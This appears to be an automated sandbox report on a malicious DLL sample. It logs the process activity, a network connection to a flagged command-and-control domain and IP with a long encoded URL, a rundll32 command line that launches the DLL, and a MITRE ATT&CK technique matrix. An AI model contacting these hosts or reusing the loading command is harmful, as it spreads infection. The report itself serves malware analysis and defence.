Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_3-1949

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_3_06982A81 FindFirstFileW,

3_3_06982A81

Source: rundll32.exe, 00000003.00000002.84973750078.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.84857412676.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.84973505391.0000000003352000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000003.00000002.84973505391.0000000003352000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWJ

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_03290005 VirtualAlloc,LoadLibraryA,LdrGetProcedureAddress,VirtualProtect,

3_2_03290005

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0040C340 mov eax, dword ptr fs:[00000030h]	0_2_0040C340
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03290391 mov eax, dword ptr fs:[00000030h]	3_2_03290391
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_27AC1120 mov ebx, dword ptr fs:[00000030h]	3_2_27AC1120

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 104.21.69.9 443

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\e.dll",#1

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_00401090 cpuid

0_2_00401090

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Virtualization/Sandbox Evasion	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	111 Process Injection	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Rundll32	NTDS	13 System Information Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
e.dll	100%	Avira	HEUR/AGEN.1300770
e.dll	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
w0t.lol	104.21.69.9	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://w0t.lol/S2wueuBWcKItxJBxaKQWGAqL7hMS3sfSm3IIJcJI-UnDuhqZF3FZYmhcdfYjgTH9ls8toERqLL6uvqWxks5TXG7p4KTZE3NtE0QUExXonRRsVxuWAUUUBfY4OBn0j6WOD9WysDP09mb9Mw2zw25E4216qfUiBb1_-f0hXmBwm-5V3zs05mClVySIs4Q2owQXkeB3urgLrouGFuJF9ZudjP54bzXceldzNx2o8pCLFM6WK1vNqyQJ4ZGEs5wabg119exWDBy_U0fDfIKkmquk4nx095rTVG61p-61BBPfkxzOTkQYmZHX6uOiApQ41hZ0OE5yH5VhrRws_4Dk7blD-zRqQGci0UruB3OYd7fIEanuxbGDB6PoPMh8nJxhyUjELjSu3EwICQdnYkBbiVs2LkVCWKmmn2lIaQTzB-OoNpw-dg1CW7D5qiS6SoaepRg	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://w0t.lol/S2wueuBWcKItxJBxaKQWGAqL7hMS3sfSm3IIJcJI-UnDuhqZF3FZYmhcdfYjgTH9ls8toERqLL6uvqWxks5T	rundll32.exe, 00000003.00000002.84973505391.0000000003352000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.84973703050.000000000339D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.quovadis.bm0	rundll32.exe, 00000003.00000002.84973852233.00000000033CE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.84857080785.00000000033CE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://w0t.lol/	rundll32.exe, 00000003.00000003.84857294274.000000000339C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.84973703050.000000000339D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ocsp.quovadisoffshore.com0	rundll32.exe, 00000003.00000002.84973852233.00000000033CE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.84857080785.00000000033CE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://w0t.lol/v	rundll32.exe, 00000003.00000003.84857294274.000000000339C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.84973703050.000000000339D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://w0t.lol/T	rundll32.exe, 00000003.00000002.84973703050.000000000339D000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.69.9	w0t.lol	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523389
Start date and time:	2024-10-01 15:10:35 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	e.dll
Detection:	MAL
